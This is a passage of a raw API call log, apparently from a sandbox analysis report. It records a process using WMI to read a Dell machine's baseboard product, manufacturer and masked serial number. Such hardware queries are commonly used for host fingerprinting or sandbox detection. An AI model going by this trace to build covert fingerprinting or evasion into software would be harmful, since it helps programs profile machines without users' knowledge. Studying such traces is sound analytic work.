pToken=0x1afbbff0 | out: pToken=0x1afbbff0) returned 0x0 [0169.248] CoGetContextToken (in: pToken=0x1afbbef0 | out: pToken=0x1afbbef0) returned 0x0 [0169.248] WbemLocator:IUnknown:QueryInterface (in: This=0x1b220918, riid=0x1afbc050*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1afbc020 | out: ppvObject=0x1afbc020*=0x1b22d7a0) returned 0x0 [0169.249] IUnknown:AddRef (This=0x1b22d7a0) returned 0x4 [0169.249] IUnknown:Release (This=0x1b22d7a0) returned 0x3 [0169.249] IUnknown:Release (This=0x1b22d7a0) returned 0x2 [0169.249] IUnknown:Release (This=0x7bbce0) returned 0x2 [0169.249] SysStringLen (param_1=0x0) returned 0x0 [0169.249] IEnumWbemClassObject:Reset (This=0x1b22d7a0) returned 0x0 [0169.249] CoTaskMemAlloc (cb=0x8) returned 0x1b1dd440 [0169.250] IEnumWbemClassObject:Next (in: This=0x1b22d7a0, lTimeout=-1, uCount=0x1, apObjects=0x1b1dd440, puReturned=0x29ed3c0 | out: apObjects=0x1b1dd440*=0x1b228800, puReturned=0x29ed3c0*=0x1) returned 0x0 [0169.261] IUnknown:QueryInterface (in: This=0x1b228800, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb8e0 | out: ppvObject=0x1afbb8e0*=0x1b228800) returned 0x0 [0169.261] IUnknown:QueryInterface (in: This=0x1b228800, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbb970 | out: ppvObject=0x1afbb970*=0x0) returned 0x80004002 [0169.261] IUnknown:QueryInterface (in: This=0x1b228800, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb590 | out: ppvObject=0x1afbb590*=0x0) returned 0x80004002 [0169.261] IUnknown:QueryInterface (in: This=0x1b228800, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb168 | out: ppvObject=0x1afbb168*=0x0) returned 0x80004002 [0169.262] IUnknown:AddRef (This=0x1b228800) returned 0x3 [0169.262] IUnknown:QueryInterface (in: This=0x1b228800, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb028 | out: ppvObject=0x1afbb028*=0x0) returned 0x80004002 [0169.262] IUnknown:QueryInterface (in: This=0x1b228800, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbafb0 | out: ppvObject=0x1afbafb0*=0x0) returned 0x80004002 [0169.262] IUnknown:QueryInterface (in: This=0x1b228800, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbafa0 | out: ppvObject=0x1afbafa0*=0x1b228808) returned 0x0 [0169.262] IMarshal:GetUnmarshalClass (in: This=0x1b228808, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbafc8 | out: pCid=0x1afbafc8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0169.262] IUnknown:Release (This=0x1b228808) returned 0x3 [0169.262] CoGetContextToken (in: pToken=0x1afbb050 | out: pToken=0x1afbb050) returned 0x0 [0169.262] CoGetContextToken (in: pToken=0x1afbb4d0 | out: pToken=0x1afbb4d0) returned 0x0 [0169.262] IUnknown:QueryInterface (in: This=0x1b228800, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb590 | out: ppvObject=0x1afbb590*=0x0) returned 0x80004002 [0169.262] IUnknown:Release (This=0x1b228800) returned 0x2 [0169.262] CoGetContextToken (in: pToken=0x1afbbb90 | out: pToken=0x1afbbb90) returned 0x0 [0169.262] CoGetContextToken (in: pToken=0x1afbba90 | out: pToken=0x1afbba90) returned 0x0 [0169.262] IUnknown:QueryInterface (in: This=0x1b228800, riid=0x1afbbbf0*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1afbbbc0 | out: ppvObject=0x1afbbbc0*=0x1b228800) returned 0x0 [0169.263] IUnknown:AddRef (This=0x1b228800) returned 0x4 [0169.263] IUnknown:Release (This=0x1b228800) returned 0x3 [0169.263] IUnknown:Release (This=0x1b228800) returned 0x2 [0169.263] CoTaskMemFree (pv=0x1b1dd440) [0169.263] CoGetContextToken (in: pToken=0x1afbbf60 | out: pToken=0x1afbbf60) returned 0x0 [0169.263] IUnknown:AddRef (This=0x1b228800) returned 0x3 [0169.263] IWbemClassObject:Get (in: This=0x1b228800, wszName="__GENUS", lFlags=0, pVal=0x1afbc520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1afbc648*=0, plFlavor=0x1afbc640*=0 | out: pVal=0x1afbc520*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1afbc648*=3, plFlavor=0x1afbc640*=64) returned 0x0 [0169.263] IWbemClassObject:Get (in: This=0x1b228800, wszName="__PATH", lFlags=0, pVal=0x1afbc4d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1afbc600*=0, plFlavor=0x1afbc5f8*=0 | out: pVal=0x1afbc4d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\root\\CIMV2:Win32_BaseBoard.Tag=\"Base Board\"", varVal2=0x0), pType=0x1afbc600*=8, plFlavor=0x1afbc5f8*=64) returned 0x0 [0169.263] SysStringByteLen (bstr="\\\\XC64ZB\\root\\CIMV2:Win32_BaseBoard.Tag=\"Base Board\"") returned 0x68 [0169.263] SysStringByteLen (bstr="\\\\XC64ZB\\root\\CIMV2:Win32_BaseBoard.Tag=\"Base Board\"") returned 0x68 [0169.263] CoGetObjectContext (in: riid=0x2569d10*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbc548 | out: ppv=0x1afbc548*=0x77dd58) returned 0x0 [0169.263] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbc538 | out: pAptType=0x1afbc538*=1) returned 0x0 [0169.263] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2569cf0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbc540 | out: ppvObject=0x1afbc540*=0x0) returned 0x80004002 [0169.264] IUnknown:Release (This=0x77dd58) returned 0x1 [0169.265] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbb938 | out: ppv=0x1afbb938*=0x1b1fec50) returned 0x0 [0169.265] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b1fec50, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbba20 | out: ppvObject=0x1afbba20*=0x0) returned 0x80004002 [0169.265] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b1fec50, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb9f8 | out: ppvObject=0x1afbb9f8*=0x1b2318e0) returned 0x0 [0169.266] WbemDefPath:IUnknown:Release (This=0x1b1fec50) returned 0x0 [0169.266] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2318e0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb7a0 | out: ppvObject=0x1afbb7a0*=0x1b2318e0) returned 0x0 [0169.266] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2318e0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbb830 | out: ppvObject=0x1afbb830*=0x0) returned 0x80004002 [0169.266] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2318e0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb028 | out: ppvObject=0x1afbb028*=0x0) returned 0x80004002 [0169.266] WbemDefPath:IUnknown:AddRef (This=0x1b2318e0) returned 0x3 [0169.266] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2318e0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbaee8 | out: ppvObject=0x1afbaee8*=0x0) returned 0x80004002 [0169.266] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2318e0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbae70 | out: ppvObject=0x1afbae70*=0x0) returned 0x80004002 [0169.266] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2318e0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbae60 | out: ppvObject=0x1afbae60*=0x1b1fed90) returned 0x0 [0169.266] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b1fed90, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbae88 | out: pCid=0x1afbae88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.266] WbemDefPath:IUnknown:Release (This=0x1b1fed90) returned 0x3 [0169.267] CoGetContextToken (in: pToken=0x1afbaf10 | out: pToken=0x1afbaf10) returned 0x0 [0169.267] CoGetContextToken (in: pToken=0x1afbb390 | out: pToken=0x1afbb390) returned 0x0 [0169.267] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2318e0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb450 | out: ppvObject=0x1afbb450*=0x0) returned 0x80004002 [0169.267] WbemDefPath:IUnknown:Release (This=0x1b2318e0) returned 0x2 [0169.267] WbemDefPath:IUnknown:Release (This=0x1b2318e0) returned 0x1 [0169.267] CoGetContextToken (in: pToken=0x1afbc180 | out: pToken=0x1afbc180) returned 0x0 [0169.267] CoGetContextToken (in: pToken=0x1afbc080 | out: pToken=0x1afbc080) returned 0x0 [0169.267] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2318e0, riid=0x1afbc1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1afbc1b0 | out: ppvObject=0x1afbc1b0*=0x1b2318e0) returned 0x0 [0169.267] WbemDefPath:IUnknown:AddRef (This=0x1b2318e0) returned 0x3 [0169.267] WbemDefPath:IUnknown:Release (This=0x1b2318e0) returned 0x2 [0169.267] WbemDefPath:IWbemPath:SetText (This=0x1b2318e0, uMode=0x4, pszPath="\\\\XC64ZB\\root\\CIMV2:Win32_BaseBoard.Tag=\"Base Board\"") returned 0x0 [0169.267] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3dc0, puCount=0x1afbc568 | out: puCount=0x1afbc568*=0x2) returned 0x0 [0169.267] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=4, puBuffLength=0x1afbc560*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc560*=0xf, pszText=0x0) returned 0x0 [0169.267] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=4, puBuffLength=0x1afbc560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc560*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.267] CoGetContextToken (in: pToken=0x1afbc330 | out: pToken=0x1afbc330) returned 0x0 [0169.267] WbemLocator:IUnknown:Release (This=0x1b220918) returned 0x1 [0169.267] IUnknown:Release (This=0x1b22d7a0) returned 0x0 [0169.274] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3dc0, puCount=0x1afbc618 | out: puCount=0x1afbc618*=0x2) returned 0x0 [0169.274] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=4, puBuffLength=0x1afbc610*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc610*=0xf, pszText=0x0) returned 0x0 [0169.274] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=4, puBuffLength=0x1afbc610*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc610*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.274] IWbemClassObject:Get (in: This=0x1b228800, wszName="Product", lFlags=0, pVal=0x1afbc5d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ee018*=0, plFlavor=0x29ee01c*=0 | out: pVal=0x1afbc5d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0G3HR7", varVal2=0x0), pType=0x29ee018*=8, plFlavor=0x29ee01c*=0) returned 0x0 [0169.274] SysStringByteLen (bstr="0G3HR7") returned 0xc [0169.274] SysStringByteLen (bstr="0G3HR7") returned 0xc [0169.274] IWbemClassObject:Get (in: This=0x1b228800, wszName="Product", lFlags=0, pVal=0x1afbc620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ee018*=8, plFlavor=0x29ee01c*=0 | out: pVal=0x1afbc620*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0G3HR7", varVal2=0x0), pType=0x29ee018*=8, plFlavor=0x29ee01c*=0) returned 0x0 [0169.274] SysStringByteLen (bstr="0G3HR7") returned 0xc [0169.274] SysStringByteLen (bstr="0G3HR7") returned 0xc [0169.274] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3dc0, puCount=0x1afbc618 | out: puCount=0x1afbc618*=0x2) returned 0x0 [0169.274] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=4, puBuffLength=0x1afbc610*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc610*=0xf, pszText=0x0) returned 0x0 [0169.274] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=4, puBuffLength=0x1afbc610*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc610*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.276] IWbemClassObject:Get (in: This=0x1b228800, wszName="Product", lFlags=0, pVal=0x1afbc5d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ee0e0*=0, plFlavor=0x29ee0e4*=0 | out: pVal=0x1afbc5d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0G3HR7", varVal2=0x0), pType=0x29ee0e0*=8, plFlavor=0x29ee0e4*=0) returned 0x0 [0169.276] SysStringByteLen (bstr="0G3HR7") returned 0xc [0169.276] SysStringByteLen (bstr="0G3HR7") returned 0xc [0169.276] IWbemClassObject:Get (in: This=0x1b228800, wszName="Product", lFlags=0, pVal=0x1afbc620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ee0e0*=8, plFlavor=0x29ee0e4*=0 | out: pVal=0x1afbc620*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0G3HR7", varVal2=0x0), pType=0x29ee0e0*=8, plFlavor=0x29ee0e4*=0) returned 0x0 [0169.276] SysStringByteLen (bstr="0G3HR7") returned 0xc [0169.276] SysStringByteLen (bstr="0G3HR7") returned 0xc [0169.280] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3dc0, puCount=0x1afbc618 | out: puCount=0x1afbc618*=0x2) returned 0x0 [0169.280] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=4, puBuffLength=0x1afbc610*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc610*=0xf, pszText=0x0) returned 0x0 [0169.280] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=4, puBuffLength=0x1afbc610*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc610*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.280] IWbemClassObject:Get (in: This=0x1b228800, wszName="Manufacturer", lFlags=0, pVal=0x1afbc5d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ee248*=0, plFlavor=0x29ee24c*=0 | out: pVal=0x1afbc5d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Dell Inc.", varVal2=0x0), pType=0x29ee248*=8, plFlavor=0x29ee24c*=0) returned 0x0 [0169.280] SysStringByteLen (bstr="Dell Inc.") returned 0x12 [0169.280] SysStringByteLen (bstr="Dell Inc.") returned 0x12 [0169.281] IWbemClassObject:Get (in: This=0x1b228800, wszName="Manufacturer", lFlags=0, pVal=0x1afbc620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ee248*=8, plFlavor=0x29ee24c*=0 | out: pVal=0x1afbc620*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Dell Inc.", varVal2=0x0), pType=0x29ee248*=8, plFlavor=0x29ee24c*=0) returned 0x0 [0169.281] SysStringByteLen (bstr="Dell Inc.") returned 0x12 [0169.281] SysStringByteLen (bstr="Dell Inc.") returned 0x12 [0169.281] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3dc0, puCount=0x1afbc618 | out: puCount=0x1afbc618*=0x2) returned 0x0 [0169.281] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=4, puBuffLength=0x1afbc610*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc610*=0xf, pszText=0x0) returned 0x0 [0169.281] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=4, puBuffLength=0x1afbc610*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc610*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.281] IWbemClassObject:Get (in: This=0x1b228800, wszName="Manufacturer", lFlags=0, pVal=0x1afbc5d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ee320*=0, plFlavor=0x29ee324*=0 | out: pVal=0x1afbc5d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Dell Inc.", varVal2=0x0), pType=0x29ee320*=8, plFlavor=0x29ee324*=0) returned 0x0 [0169.281] SysStringByteLen (bstr="Dell Inc.") returned 0x12 [0169.281] SysStringByteLen (bstr="Dell Inc.") returned 0x12 [0169.281] IWbemClassObject:Get (in: This=0x1b228800, wszName="Manufacturer", lFlags=0, pVal=0x1afbc620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ee320*=8, plFlavor=0x29ee324*=0 | out: pVal=0x1afbc620*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Dell Inc.", varVal2=0x0), pType=0x29ee320*=8, plFlavor=0x29ee324*=0) returned 0x0 [0169.281] SysStringByteLen (bstr="Dell Inc.") returned 0x12 [0169.281] SysStringByteLen (bstr="Dell Inc.") returned 0x12 [0169.281] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3dc0, puCount=0x1afbc618 | out: puCount=0x1afbc618*=0x2) returned 0x0 [0169.281] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=4, puBuffLength=0x1afbc610*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc610*=0xf, pszText=0x0) returned 0x0 [0169.282] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=4, puBuffLength=0x1afbc610*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc610*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.282] IWbemClassObject:Get (in: This=0x1b228800, wszName="SerialNumber", lFlags=0, pVal=0x1afbc5d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ee498*=0, plFlavor=0x29ee49c*=0 | out: pVal=0x1afbc5d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="..XXXXXXXXXXXXX.", varVal2=0x0), pType=0x29ee498*=8, plFlavor=0x29ee49c*=0) returned 0x0 [0169.282] SysStringByteLen (bstr="..XXXXXXXXXXXXX.") returned 0x20 [0169.282] SysStringByteLen (bstr="..XXXXXXXXXXXXX.") returned 0x20 [0169.282] IWbemClassObject:Get (in: This=0x1b228800, wszName="SerialNumber", lFlags=0, pVal=0x1afbc620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ee498*=8, plFlavor=0x29ee49c*=0 | out: pVal=0x1afbc620*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="..XXXXXXXXXXXXX.", varVal2=0x0), pType=0x29ee498*=8, plFlavor=0x29ee49c*=0) returned 0x0 [0169.282] SysStringByteLen (bstr="..XXXXXXXXXXXXX.") returned 0x20 [0169.282] SysStringByteLen (bstr="..XXXXXXXXXXXXX.") returned 0x20 [0169.282] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3dc0, puCount=0x1afbc618 | out: puCount=0x1afbc618*=0x2) returned 0x0 [0169.282] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=4, puBuffLength=0x1afbc610*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc610*=0xf, pszText=0x0) returned 0x0 [0169.282] WbemDefPath:IWbemPath:GetText (in: This=0x7b3dc0, lFlags=4, puBuffLength=0x1afbc610*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc610*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.282] IWbemClassObject:Get (in: This=0x1b228800, wszName="SerialNumber", lFlags=0, pVal=0x1afbc5d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ee590*=0, plFlavor=0x29ee594*=0 | out: pVal=0x1afbc5d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="..XXXXXXXXXXXXX.", varVal2=0x0), pType=0x29ee590*=8, plFlavor=0x29ee594*=0) returned 0x0 [0169.282] SysStringByteLen (bstr="..XXXXXXXXXXXXX.") returned 0x20 [0169.282] SysStringByteLen (bstr="..XXXXXXXXXXXXX.") returned 0x20 [0169.282] IWbemClassObject:Get (in: This=0x1b228800, wszName="SerialNumber", lFlags=0, pVal=0x1afbc620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29ee590*=8, plFlavor=0x29ee594*=0 | out: pVal=0x1afbc620*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="..XXXXXXXXXXXXX.", varVal2=0x0), pType=0x29ee590*=8, plFlavor=0x29ee594*=0) returned 0x0 [0169.283] SysStringByteLen (bstr="..XXXXXXXXXXXXX.") returned 0x20 [0169.283] SysStringByteLen (bstr="..XXXXXXXXXXXXX.") returned 0x20 [0169.283] CoGetObjectContext (in: riid=0x2569d10*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbc658 | out: ppv=0x1afbc658*=0x77dd58) returned 0x0 [0169.283] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbc648 | out: pAptType=0x1afbc648*=1) returned 0x0 [0169.283] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2569cf0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbc650 | out: ppvObject=0x1afbc650*=0x0) returned 0x80004002 [0169.283] IUnknown:Release (This=0x77dd58) returned 0x1 [0169.284] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbba48 | out: ppv=0x1afbba48*=0x1b1fec50) returned 0x0 [0169.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b1fec50, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, 